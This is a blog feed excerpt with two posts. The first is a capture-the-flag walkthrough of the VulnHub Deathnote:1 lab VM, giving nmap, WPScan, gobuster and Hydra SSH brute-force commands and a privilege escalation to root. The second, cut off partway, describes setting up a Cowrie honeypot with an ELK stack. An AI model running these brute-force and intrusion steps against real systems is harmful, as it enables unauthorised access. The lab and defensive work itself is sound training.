            <content:encoded><![CDATA[<h3>VulnHub Walkthroughs: Unlocking Deathnote:1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*VTe-SQXxnpRk_VpB1eRXSA.png" /></figure><h3>Introduction</h3><p>The <strong>Deathnote:1</strong> virtual machine on VulnHub offers an excellent challenge for penetration testers to practice enumeration, exploitation, and privilege escalation skills. This machine is rated “Easy,” making it a great starting point for beginners exploring the fundamentals of penetration testing.</p><p>In this guide, we’ll provide a <strong>detailed walkthrough</strong> of the entire process, from setup to root access. We’ll explain each step, the rationale behind it, and how the results contribute to solving the challenge.</p><h3>1. Setting Up the Environment</h3><ul><li>Download the Deathnote:1 OVA file from the VulnHub URL <a href="https://www.vulnhub.com/entry/deathnote-1,739/"><strong><em>https://www.vulnhub.com/entry/deathnote-1,739/</em></strong></a></li><li>Launch <strong>VirtualBox</strong>, click on <strong>Tools,</strong> and select <strong>Import </strong>to import the OVA file.</li><li>Update the network adapter settings for the vulnerable machine to a <strong>Host-Only Adapter</strong>. This ensures it shares a network with your attacker machine.</li><li>Start both the vulnerable VM and your attack machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*eKHG02GTw2BpC7tRS7u4CA.png" /><figcaption>Deathnote:1 VM</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MBh4Wmmxn982YkLlI-jymA.png" /><figcaption>Kali Purple Attack VM</figcaption></figure><h3>2. Enumeration</h3><h4>2.1 Identifying the Target IP Address</h4><p>To attack the target, we first need its IP address. Using the <strong><em>netdiscover</em></strong> tool, we can identify all devices on the same network. Use the same network interface, here eth0.</p><pre>sudo netdiscover -i eth0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*glYbGuxhOI37hWsjGPPHdg.png" /></figure><p>The target IP address is <strong>192.168.1.122</strong>.</p><h4>2.2 Scanning the Network with Nmap</h4><p>Next, to identify open ports, services, and potential vulnerabilities, we perform a <strong><em>Nmap</em></strong> scan.</p><pre>sudo nmap -sS -sV -sC -p- 192.168.1.122</pre><ul><li><strong>-sS:</strong> Performs a stealthy TCP SYN scan.</li><li><strong>-sV:</strong> Detects versions of running services.</li><li><strong>-sC:</strong> Executes default scripts to gather additional information.</li><li><strong>-p-:</strong> Scans all 65,535 ports.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*jTe5ZG0ob2HdzOtYvPt0VA.png" /></figure><p>Nmap spotted 2 open ports:</p><ul><li><strong>Port 22:</strong> SSH service (potential for credential-based attacks).</li><li><strong>Port 80:</strong> HTTP service (web application likely vulnerable).</li></ul><h4>2.3 Web Enumeration</h4><p>Accessing the web application found by Nmap provides insight into its functionality and potential vulnerabilities. Opening http://192.168.1.122 in a browser returned a <strong>DNS resolution error</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TZeiBmC_SK0IyiA36WkvMQ.png" /></figure><p>This error indicated that the web server expected a hostname deathnote.vuln instead of the IP address 192.168.1.122.</p><h3>3. Gaining Initial Foothold</h3><h4>3.1 Resolving DNS Issues</h4><p>To access the website, we need to map the target’s IP to its hostname by editing the local DNS file located in the /etc directory.</p><pre>sudo nano /etc/hosts</pre><p>Add the following line:</p><pre>192.168.1.122 deathnote.vuln</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*7UEiFWOjuQ8U3MXCt5NzkQ.png" /></figure><p>The webpage now loads successfully, revealing a WordPress site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uqKqfd11XzkZCluyi19q5A.png" /></figure><h4>3.2 WordPress Security Assessment</h4><p>WordPress sites often have outdated plugins, themes, or configurations that can be exploited. We use the <strong><em>WPScan</em></strong> tool to identify known vulnerabilities.</p><blockquote><strong>WP Scan is used to check, if the running site is vulnerable to WP version, and check if a theme and plugin is up-to-date, or known to be vulnerable.</strong></blockquote><pre>wpscan --url http://deathnote.vuln/wordpress/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*GrPvOr5CrZnpAl4w5EWXyA.png" /></figure><pre>┌──(fat-batman㉿DaemonHunter)-[~]<br>└─$ wpscan --url http://deathnote.vuln/wordpress/<br>_______________________________________________________________<br>         __          _______   _____<br>         \ \        / /  __ \ / ____|<br>          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®<br>           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &#39;_ \<br>            \  /\  /  | |     ____) | (__| (_| | | | |<br>             \/  \/   |_|    |_____/ \___|\__,_|_| |_|<br><br>         WordPress Security Scanner by the WPScan Team<br>                         Version 3.8.27<br>                               <br>       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart<br>_______________________________________________________________<br><br>[i] Updating the Database ...<br>[i] Update completed.<br><br>[+] URL: http://deathnote.vuln/wordpress/ [192.168.1.122]<br>[+] Started: Sat Jan 18 13:18:08 2025<br><br>Interesting Finding(s):<br><br>[+] Headers<br> | Interesting Entry: Server: Apache/2.4.38 (Debian)<br> | Found By: Headers (Passive Detection)<br> | Confidence: 100%<br><br>[+] XML-RPC seems to be enabled: http://deathnote.vuln/wordpress/xmlrpc.php<br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 100%<br> | References:<br> |  - http://codex.wordpress.org/XML-RPC_Pingback_API<br> |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/<br> |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/<br> |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/<br> |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/<br><br>[+] WordPress readme found: http://deathnote.vuln/wordpress/readme.html<br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 100%<br><br>[+] Upload directory has listing enabled: http://deathnote.vuln/wordpress/wp-content/uploads/<br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 100%<br><br>[+] The external WP-Cron seems to be enabled: http://deathnote.vuln/wordpress/wp-cron.php<br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 60%<br> | References:<br> |  - https://www.iplocation.net/defend-wordpress-from-ddos<br> |  - https://github.com/wpscanteam/wpscan/issues/1299<br><br>[+] WordPress version 5.8 identified (Insecure, released on 2021-07-20).<br> | Found By: Rss Generator (Passive Detection)<br> |  - http://deathnote.vuln/wordpress/index.php/feed/, &lt;generator&gt;https://wordpress.org/?v=5.8&lt;/generator&gt;<br> |  - http://deathnote.vuln/wordpress/index.php/comments/feed/, &lt;generator&gt;https://wordpress.org/?v=5.8&lt;/generator&gt;<br><br>[+] WordPress theme in use: twentytwentyone<br> | Location: http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/<br> | Last Updated: 2024-11-13T00:00:00.000Z<br> | Readme: http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/readme.txt<br> | [!] The version is out of date, the latest version is 2.4<br> | Style URL: http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/style.css?ver=1.3<br> | Style Name: Twenty Twenty-One<br> | Style URI: https://wordpress.org/themes/twentytwentyone/<br> | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...<br> | Author: the WordPress team<br> | Author URI: https://wordpress.org/<br> |<br> | Found By: Css Style In Homepage (Passive Detection)<br> |<br> | Version: 1.3 (80% confidence)<br> | Found By: Style (Passive Detection)<br> |  - http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/style.css?ver=1.3, Match: &#39;Version: 1.3&#39;<br><br>[+] Enumerating All Plugins (via Passive Methods)<br><br>[i] No plugins Found.<br><br>[+] Enumerating Config Backups (via Passive and Aggressive Methods)<br> Checking Config Backups - Time: 00:00:00 &lt;=&gt; (137 / 137) 100.00% Time: 00:00:00<br><br>[i] No Config Backups Found.<br><br>[!] No WPScan API Token given, as a result vulnerability data has not been output.<br>[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register<br><br>[+] Finished: Sat Jan 18 13:18:13 2025<br>[+] Requests Done: 186<br>[+] Cached Requests: 5<br>[+] Data Sent: 48.786 KB<br>[+] Data Received: 22.168 MB<br>[+] Memory used: 284.23 MB<br>[+] Elapsed time: 00:00:04</pre><h4>Results:</h4><ul><li>WordPress version 5.8 (outdated)</li><li>Directory listing enabled for /wp-content/uploads/</li><li>No active security measures for the upload folder</li></ul><h4>3.3 Directory Enumeration with Gobuster</h4><p>Hidden directories and files may contain sensitive information or provide paths to further exploitation. We use <strong><em>Gobuster</em></strong> as our tool of choice.</p><pre>gobuster dir -u http://deathnote.vuln/wordpress/ -w /usr/share/wordlists/dirb/common.txt</pre><ul><li>dir<strong>:</strong> Used to specify the mode of enumeration.</li><li>-u<strong>:</strong> Used to specify the target URL.</li><li>-w<strong>:</strong> Used to specify the path of the wordlist.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c0udlT0tWfpWepb4s8e9xA.png" /></figure><pre>gobuster dir -u http://deathnote.vuln/ -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SrWVhH4R5JZCuvoA2aZmtA.png" /></figure><h4>Results:</h4><ul><li><strong>/wp-admin</strong>: WordPress admin login page</li><li><strong>/robots.txt</strong>: Standard used to advise web crawlers and scrapers how to index a web page or site</li></ul><h4>3.4 Analyzing Files for Hints</h4><ul><li>Trying to access robots.txt , we find an image file important.jpg which might contain hidden information.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*oP7mQgxUsDaOsZs8qtIrkQ.png" /></figure><ul><li>Unable to open the file on the browser, we download important.jpg:</li></ul><pre>wget http://deathnote.vuln/important.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gG3Ov7aLtYfjSU2qW8rsAQ.png" /></figure><ul><li>Analyze it with the file command:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nDT7IPdiKuXWql9VRbSlFw.png" /></figure><p>The file is not an image but ASCII text. Renaming it to .txt reveal some hints hidden within about the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6SZ8Xhgv4itfTNrAJcQydQ.png" /></figure><p>The hint suggests that the login username is present in a file user.txt that exists within the upload directory uncovered via the WPScan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*JSDUr_zYtJ0IvqiPW3m1Yw.png" /></figure><p>The user.txt file contains a few usernames for the VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*4dcSlmYkPvIXKUowRJRifg.png" /></figure><h4>3.5 SSH Brute Force with Hydra</h4><p>Along with user.txt there is a notes.txt file present in the upload directory as well. The notes.txt file contains a random wordlist, probably the passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*ZaH7Iz416nOCLRvz7e6Svw.png" /></figure><p>With credentials in hand, we can attempt a brute-force attack to gain SSH access.</p><p>Download both these files and we use the most popular brute-force attack tool to crack the credentials, <strong><em>Hydra</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jfbm5vIiYljVt8NLzlvq8g.png" /></figure><pre>hydra -L user.txt -P notes.txt ssh://192.168.1.122</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XpHNHc2xBql-tSvIvclp2g.png" /></figure><p>Using the credentials, we gained SSH access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*DN9lrobuO00tYMlJe9w4xQ.png" /></figure><h3>4. Privilege Escalation</h3><h4>4.1 Decoding Brainfuck Cipher Text</h4><p>The user.txt file contained a <strong><em>Brainfuck</em></strong> encoded text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uOxmUq_S9u7PQrUcuumaxw.png" /></figure><blockquote><strong>Instead of a traditional sense, like encoding data for transmission or storage, Brainfuck is an esoteric programming language designed to challenge and entertain programmers</strong></blockquote><p>Using an online Brainfuck decoder revealed further instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9k3rcL8KJrVN8Ytpzux1Jw.png" /></figure><h4>4.2 Initial Reconnaissance with the id Command</h4><p>The id command is used to determine the current user&#39;s identity, group memberships, and privileges. This information helps assess potential attack vectors based on user roles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*mS4ME8SJLO6N0N9XrZfzmw.png" /></figure><p>The output reveals that the user l has limited privileges and is not part of the sudo group, indicating no direct administrative access.</p><h4>4.3 Checking Sudo Privileges</h4><p>The sudo -l command lists the user’s sudo rights. If any commands can be run as root, they can be leveraged for privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*P0iaiGMCjzoCOfTdCu5EPQ.png" /></figure><p>The user l does not have sudo permissions, requiring further enumeration for potential attack vectors.</p><h4>4.4 Identifying Other Users on the System</h4><p>Checking the /home directory reveals other users on the system. Identifying users with higher privileges provides potential targets for lateral movement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*274kjIKeIklKi8m1L3LbMg.png" /></figure><p>The presence of a user kira indicates another account with potentially higher privileges.</p><h4>4.5 Exploring kira&#39;s Home Directory</h4><p>To identify sensitive files, configurations, or credentials within kira&#39;s home directory that can aid in privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*MqWdxxKUpJ3O62IPvWxaJA.png" /></figure><p>The file kira.txt is inaccessible due to insufficient permissions, suggesting the need to switch to kira&#39;s account.</p><h4>4.6 Inspecting .ssh for Public Key Authentication</h4><p>The .ssh directory often contains credentials that can be leveraged for remote access.</p><p>The authorized_keys file contains public keys for SSH authentication. Viewing its contents provides the public key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OIr8fcqX2XZ5Oml5OH9h6Q.png" /></figure><h4>4.7 Transferring the Key to Gain Access</h4><p>To authenticate as kira, the public key must be added to the current user’s .ssh/authorized_keys file.</p><ul><li>Navigate to the .ssh directory:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*G5DMmHI71EQZJ3BGZ2vKCg.png" /></figure><ul><li>Create a new authorized_keys file:</li></ul><pre>echo &quot;&lt;public_key_contents&gt;&quot; &gt; authorized_keys</pre><ul><li>Set appropriate permissions:</li></ul><pre>chmod +x authorized_keys</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RDa1SXBL9vaUK2wVUrlE3Q.png" /></figure><ul><li>Switching to kira via SSH</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*bNSsJ8gGylqKIe29_XZcCw.png" /></figure><p>Successfully logged in as kira.</p><h4>4.8 Decoding kira.txt with Base64</h4><p>The file kira.txt contained base64-encoded text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KlWeXl772rBfAT5k1oHfGA.png" /></figure><p>Decoding it revealed the next steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rm4utlYdrr3HcoHvFE2GDw.png" /></figure><h4>4.9 Exploring /opt for Additional Clues</h4><p>Directories mentioned in decoded text often contain sensitive files or scripts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*NLrtVy_S8qjiwjEEqBxedw.png" /></figure><p>Navigating into /opt/L revealed files requires further analysis.</p><h4>4.10 Using CyberChef to Decode Hidden Data</h4><p>A file (case.wav) within /opt/L contained hexadecimal data. Using CyberChef, we decoded it to retrieve the password for kira.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-bkxZ2uq1b_e0RZiCZr-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*Q0TgRWUoNS_opuwrmcpJHg.png" /></figure><p>Upload the hex string to CyberChef and decode it.</p><h4>4.11 Achieving Root Access</h4><p>Using the password retrieved, we ran sudo -l to verify kira&#39;s privileges. The output confirmed full root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJ6EjN0F6_3rxep1BM2g5Q.png" /></figure><p>Switched to root and accessed the root.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r9ugiO14tjkCDLiLlHz0Pw.png" /></figure><p>Finally, after obtaining both the flags, we can access the deathnote VM with both user l and kira</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*U9f2CMLpRvYnKQjzr-7tjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*RFsZpeR1qsGoKTKnd1KcHw.png" /></figure><h3>Conclusion</h3><p>The <strong>Deathnote:1</strong> VM challenged us to explore various tools and techniques, from enumeration to privilege escalation. Each step reinforced the importance of careful observation and methodical execution in penetration testing. By following this guide, you’ll gain hands-on experience in real-world attack scenarios.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c79d5fc47e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Cyber Trap]]></title>
            <link>https://anshumansingh1.medium.com/the-cyber-trap-c8467168663c?source=rss-9268a58fb349------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8467168663c</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[honeypot]]></category>
            <category><![CDATA[elk-stack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Anshuman Singh]]></dc:creator>
            <pubDate>Sun, 29 Dec 2024 23:24:38 GMT</pubDate>
            <atom:updated>2024-12-29T23:50:09.676Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Cyber Trap: Deploying an SSH Honeypot with Real-World Cybersecurity Insights</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/0*qL0CDeHEUi_ckLR8" /></figure><h3>Introduction</h3><p>The internet is a battleground where attackers are constantly seeking vulnerabilities to exploit. As defenders, the key to staying ahead is not just building walls but also understanding how those walls are attacked. This is where honeypots come into play.</p><p>In this project, I ventured into the fascinating world of honeypots by deploying an <strong>SSH honeypot using Cowrie</strong> on AWS. To take it a step further, I integrated the honeypot with the <strong>ELK Stack (Elasticsearch, Logstash, and Kibana)</strong>, transforming raw logs into actionable insights with rich visualizations. This combination allowed me to capture and analyze unauthorized login attempts from across the globe.</p><h3>What is a Honeypot?</h3><p>A honeypot is a deliberately vulnerable system designed to attract attackers and study their behavior in a controlled environment. It serves as both a decoy and a learning tool, helping cybersecurity professionals analyze real-world threats without compromising production systems. By doing so, it helps defenders:</p><ol><li>Understand attacker techniques and trends.</li><li>Develop stronger defense mechanisms.</li><li>Gain actionable threat intelligence.</li></ol><h4>Project Goals</h4><ol><li>Deploy a Cowrie SSH honeypot to monitor unauthorized login attempts.</li><li>Log and analyze attack patterns using the ELK Stack.</li><li>Understand real-world attacker behavior and extract insights.</li></ol><h3>Tools and Technologies Used</h3><p>Here is a comprehensive list of tools and technologies used in this project, categorized by their purpose:</p><h4>1. Cloud Infrastructure</h4><ul><li><strong>AWS EC2</strong>: Cloud instances for deploying the honeypot and the ELK Stack.</li></ul><h4>2. Operating System</h4><ul><li><strong>Ubuntu Server 24.04 LTS</strong>: A stable and lightweight Linux distribution used for both the honeypot and ELK Stack instances.</li></ul><h4>3. Honeypot Deployment</h4><ul><li><strong>Cowrie</strong>: A robust SSH/Telnet honeypot that simulates vulnerable systems to capture attacker activity.</li><li><strong>Python3</strong>: Programming language used for Cowrie and its virtual environment.</li><li><strong>authbind</strong>: Tool to allow Cowrie to bind to privileged ports (e.g., port 22) without requiring root access.</li><li><strong>iptables</strong>: Linux tool used to redirect traffic from port 22 to Cowrie’s listening port 2222.</li><li><strong>Uncomplicated Firewall (UFW)</strong>: Firewall for securing the honeypot instance by restricting access to specific ports.</li></ul><h4>4. ELK Stack Deployment</h4><ul><li><strong>Elasticsearch</strong>: Search and analytics engine for storing and querying log data.</li><li><strong>Logstash</strong>: Data pipeline tool used for parsing and ingesting Cowrie logs into Elasticsearch.</li><li><strong>Kibana</strong>: Visualization and dashboard tool for analyzing attack data in Elasticsearch.</li></ul><h4>5. Log Transfer and Automation</h4><ul><li><strong>SCP (Secure Copy Protocol)</strong>: Used to securely transfer Cowrie logs from the honeypot instance to the ELK Stack instance.</li><li><strong>cron</strong>: Task scheduler used to automate periodic log transfers.</li></ul><h4>6. Networking and Security</h4><ul><li><strong>SSH (Secure Shell)</strong>: For securely accessing the EC2 instances.</li><li><strong>AWS Security Groups</strong>: Configured to allow and restrict access to specific ports.</li><li><strong>GeoIP Processing</strong>: Feature in Logstash used to map attacker IPs to geographic locations.</li></ul><h4>7. Visualization and Analysis</h4><ul><li><strong>Kibana Dashboards</strong>: For creating graphs, charts, and heatmaps to visualize attack patterns and trends.</li><li><strong>GeoIP Maps</strong>: Visualized the geographic distribution of attackers.</li></ul><h3>Phase 1: Planning the Deployment</h3><h4>1.1 Choosing the Honeypot Environment</h4><p>I considered two primary environments for hosting the honeypot:</p><ol><li><strong>AWS EC2 Instance:</strong> Offers high exposure to global attacks, scalability, and cloud-native skills development.</li><li><strong>Local VM/Physical Server:</strong> Provides a controlled environment with zero cloud costs but limited exposure.</li></ol><p>I chose <strong>AWS EC2</strong> for its global exposure and scalability. The ability to manage a honeypot with minimal hardware requirements and cloud-native security tools makes it ideal for this project.</p><h4>1.2 Selecting the Honeypot Tool</h4><ol><li><strong>Cowrie:</strong> A robust, pre-configured SSH/Telnet honeypot designed for monitoring unauthorized access attempts with extensive features including fake file systems, logging, and attack interaction.</li><li><strong>Custom Python-Based Honeypot:</strong> Offers complete customization with minimal resource requirements but requires significant development time.</li></ol><p>I chose <strong>Cowrie</strong> for its balance between functionality and ease of deployment. Its robust feature set and strong community support make it ideal for real-world projects while still allowing customization if needed.</p><h3>Phase 2: Deploying the Honeypot</h3><h4>2.1 Setting Up the AWS EC2 Instance</h4><p><strong>Instance Configuration:</strong></p><ul><li><strong>Instance Type:</strong> t2.micro (a cost-effective setup within the Free Tier).</li><li><strong>AMI:</strong> Ubuntu Server 24.04 LTS (a lightweight, stable, and widely supported Linux distribution).</li><li><strong>Storage:</strong> 8 GB SSD (default is sufficient for this project).</li><li><strong>Security Group Rules:</strong></li><li><strong>Port 22 (SSH):</strong> Allowed from my IP only.</li><li><strong>Port 2222 (Cowrie):</strong> Open to the internet for honeypot traffic.</li><li><strong>Security key pair:</strong> Download the .pem file securely for SSH access.</li></ul><h4>2.2 Installing and Configuring Cowrie</h4><ol><li><strong>Update System Packages</strong></li></ol><p>Ensure the system is up to date:</p><pre>sudo apt update &amp;&amp; sudo apt upgrade -y</pre><p><strong>2. Secure the Instance</strong></p><ul><li>Install and enable a firewall using UFW to ensure only SSH is accessible initially:</li></ul><pre>sudo apt install ufw -y<br>sudo ufw allow OpenSSH<br>sudo ufw enable</pre><p><strong>3. Create a Dedicated User for Cowrie</strong></p><p>For security reasons, add a non-root user named cowrie:</p><pre>sudo adduser --disabled-password --gecos &quot;&quot; cowrie</pre><p><strong>4. Install Dependencies:</strong></p><pre>sudo apt update &amp;&amp; sudo apt install python3 python3-venv git libffi-dev libssl-dev build-essential authbind -y</pre><p><strong>5. Clone Cowrie and Set Up a Virtual Environment:</strong></p><pre>git clone https://github.com/cowrie/cowrie.git<br>cd cowrie<br>python3 -m venv cowrie-env <br>source cowrie-env/bin/activate<br>pip install --upgrade pip<br>pip install -r requirements.txt</pre><p><strong>6. Configure Cowrie:</strong></p><p>Create and edit the configuration fileetc/cowrie.cfg to set the SSH port (2222) and enable JSON logging:</p><pre>[ssh]<br>listen_endpoints = tcp:2222:interface=0.0.0.0<br><br>[output_jsonlog]<br>enabled = true</pre><p><strong>7. Start Cowrie:</strong></p><pre>bin/cowrie start<br>bin/cowrie status</pre><p><strong>8. Redirect Port 22 to 2222 using </strong><strong>iptables:</strong></p><p>Use iptables to redirect traffic from port 22 (default SSH port) to Cowrie’s port 2222:</p><pre>sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222<br>sudo apt install iptables-persistent -y<br>sudo netfilter-persistent save</pre><p><strong>9. Verify Cowrie functionality:</strong></p><p>Monitor Cowrie logs in real-time:</p><pre>tail -f var/log/cowrie/cowrie.log</pre><h4>Why We Used a Separate Instance for the ELK Stack</h4><ol><li><strong>Resource Optimization</strong>: The honeypot (Cowrie) and ELK Stack have different workloads. Combining both in the same instance could lead to resource contention and reduced performance.</li><li><strong>Scalability</strong>: Separating workloads allows us to independently scale the honeypot or ELK Stack as needed (e.g., adding more honeypots or handling higher log volume).</li><li><strong>Security</strong>: Keeping the honeypot and ELK Stack separate minimizes the risk of attackers accessing ELK data or the server itself if the honeypot is compromised.</li></ol><h4>Why We Chose t3.medium</h4><ol><li><strong>Balanced Performance and Cost</strong>: t3.medium (2 vCPUs, 4 GB RAM) provides sufficient resources to run Elasticsearch, Logstash, and Kibana for a single honeypot’s logs. It’s affordable, costing ~$30/month if run continuously, making it a practical choice for personal projects.</li><li><strong>Compatibility with ELK Requirements</strong>: Elasticsearch and Kibana require at least 2 GB of RAM each to function effectively. A smaller instance like <strong>t3.small</strong> would likely lead to performance issues.</li></ol><h3>Phase 3: Deploying the ELK Stack</h3><h4>3.1 Setting Up the AWS ELK Instance</h4><p><strong>Instance Configuration:</strong></p><ul><li><strong>Instance Type:</strong> t3.medium (4 GB RAM, 2 vCPUs).</li><li><strong>Storage:</strong> 50 GB SSD.</li><li><strong>Security Group Rules:</strong></li><li><strong>Port 22 (SSH):</strong> Allowed from my IP only (for management).</li><li><strong>Port 5601 (Kibana):</strong> Open to the internet (for access).</li><li><strong>Port 9200 (Elasticsearch API):</strong> Allowed from my IP only (for security).</li><li><strong>Port 2222 (Cowrie):</strong> Allowed from Cowrie instance IP (for log transfer).</li><li><strong>Security key pair:</strong> Download the .pem file securely for SSH access.</li></ul><h4>3.2 Installing the ELK Stack</h4><ol><li><strong>Install Java (Required for Elasticsearch and Logstash):</strong></li></ol><p>Install OpenJDK 11:</p><pre>sudo apt install openjdk-11-jdk -y</pre><p><strong>2. Install Elasticsearch:</strong></p><p>Import the GPG Key, then add the repository and install Elasticsearch:</p><pre>wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -<br>sudo apt install apt-transport-https -y<br>echo &quot;deb https://artifacts.elastic.co/packages/8.x/apt stable main&quot; | sudo tee -a /etc/apt/sources.list.d/elastic-8.x.list<br>sudo apt update<br>sudo apt install elasticsearch -y</pre><p>Configure network.host: 0.0.0.0 in the Elasticsearch configuration file /etc/elasticsearch/elasticsearch.ymlto allow access from all network interfaces, then start Elasticsearch:</p><pre>sudo systemctl start elasticsearch<br>sudo systemctl enable elasticsearch<br>sudo systemctl status elasticsearch</pre><p>Verify Elasticsearch is running:</p><pre>curl -X GET &quot;http://localhost:9200/&quot;</pre><p><strong>3. Install Kibana:</strong></p><pre>sudo apt install kibana -y</pre><p>Configure server.host: 0.0.0.0 in the Kibana configuration file /etc/kibana/kibana.ymlto allow access from all network interfaces.</p><p>Configure elasticsearch.hosts: [&quot;http://localhost:9200&quot;] to connect Kibana to Elasticsearch. then start Kibana:</p><pre>sudo systemctl start kibana<br>sudo systemctl enable kibana<br>sudo systemctl status kibana</pre><p>Open a browser and verify that Kibana is running by navigating to http://&lt;elk-instance-public-ip&gt;:5601</p><p><strong>4. Install Logstash:</strong></p><pre>sudo apt install logstash -y</pre><p>Create a Configuration File:</p><pre>sudo nano /etc/logstash/conf.d/cowrie-logstash.conf</pre><p>Add the following:</p><pre>input {<br>    file {<br>        path =&gt; &quot;/path/to/cowrie/logs/*.json&quot;<br>        start_position =&gt; &quot;beginning&quot;<br>        codec =&gt; &quot;json&quot;<br>    }<br>}<br><br>output {<br>    elasticsearch {<br>        hosts =&gt; [&quot;localhost:9200&quot;]<br>        index =&gt; &quot;cowrie-%{+YYYY.MM.dd}&quot;<br>    }<br>}</pre><p>Start Logstash:</p><pre>sudo systemctl start logstash<br>sudo systemctl enable logstash<br>sudo systemctl status logstash</pre><h3>Phase 4: Automating Data Transfer</h3><h4>Why Data Transfer is Necessary</h4><p>The honeypot (Cowrie) logs activities locally on the t2.micro instance. To analyze and visualize this data:</p><ul><li>Logs need to be securely transferred to the ELK instance running Elasticsearch and Logstash.</li><li>Automating this process ensures real-time or periodic updates without manual intervention.</li></ul><h4>4.1 Verify Honeypot Log Files</h4><p>Connect to the Honeypot instance, navigate to the Cowrie log directory, and list the available logs. You should see files such as:</p><ul><li>cowrie.log: Human-readable activity logs.</li><li>cowrie.json: JSON-formatted logs suitable for ELK ingestion.</li></ul><h4>4.2 Prepare the ELK Instance to Receive Logs</h4><p>Connect to the ELK Instance, and create a directory for logs:</p><pre>mkdir -p /home/ubuntu/cowrie_logs<br>chmod 700 /home/ubuntu/cowrie_logs<br>ls -ld /home/ubuntu/cowrie_logs</pre><h4>4.3 Transfer Logs Manually</h4><p>From the Honeypot instance, transfer logs to the ELK instance:</p><pre>scp /home/ubuntu/cowrie/var/log/cowrie/cowrie.json ubuntu@&lt;elk_instance_public_ip&gt;:/home/ubuntu/cowrie_logs/</pre><ul><li><strong>scp</strong>: Secure Copy Protocol for file transfers.</li><li><strong>cowrie.json</strong>: Source file on the honeypot.</li><li><strong>&lt;elk_instance_public_ip&gt;</strong>: Target ELK instance IP.</li><li><strong>/home/ubuntu/cowrie_logs/</strong>: Destination directory.</li></ul><p>Verify the logs in the ELK instance:</p><pre>ssh -i &quot;/path/to/your-key-pair.pem&quot; ubuntu@&lt;elk_instance_public_ip&gt; ls -lh /home/ubuntu/cowrie_logs/</pre><p>You should see cowrie.json in the 